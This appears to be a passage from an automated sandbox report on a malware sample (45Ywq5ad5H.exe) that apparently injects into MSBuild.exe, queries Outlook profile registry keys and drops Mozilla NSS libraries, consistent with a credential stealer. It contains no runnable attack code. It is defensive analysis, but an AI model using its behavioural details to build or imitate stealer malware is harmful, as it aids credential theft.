Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: 45Ywq5ad5H.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: 45Ywq5ad5H.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: 45Ywq5ad5H.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: 45Ywq5ad5H.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: 45Ywq5ad5H.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: 45Ywq5ad5H.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: 45Ywq5ad5H.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: 45Ywq5ad5H.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mozglue.pdbP source: MSBuild.exe, 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: nss3.pdb@ source: MSBuild.exe, 00000001.00000002.1765332478.000000006C73F000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.1.dr, softokn3.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: nss3.pdb source: MSBuild.exe, 00000001.00000002.1765332478.000000006C73F000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: mozglue.pdb source: MSBuild.exe, 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.1.dr, softokn3.dll.1.dr

Source: 45Ywq5ad5H.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: 45Ywq5ad5H.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: 45Ywq5ad5H.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: 45Ywq5ad5H.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: 45Ywq5ad5H.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00419860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_00419860

Source: freebl3.dll.1.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.1.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.1.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.1.dr	Static PE information: section name: .didat
Source: nss3.dll.1.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.1.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.1.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Code function: 0_2_009D71AD push ecx; ret	0_2_009D71C0
Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Code function: 0_2_00A17F0D push ecx; ret	0_2_00A17F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041B035 push ecx; ret	1_2_0041B048
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C53B536 push ecx; ret	1_2_6C53B549
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_000C71AD push ecx; ret	18_2_000C71C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_0044F23B push edx; ret	19_2_0044F24B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\a43486128347[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\userJKECGDBFCB.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

1_2_00419860

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
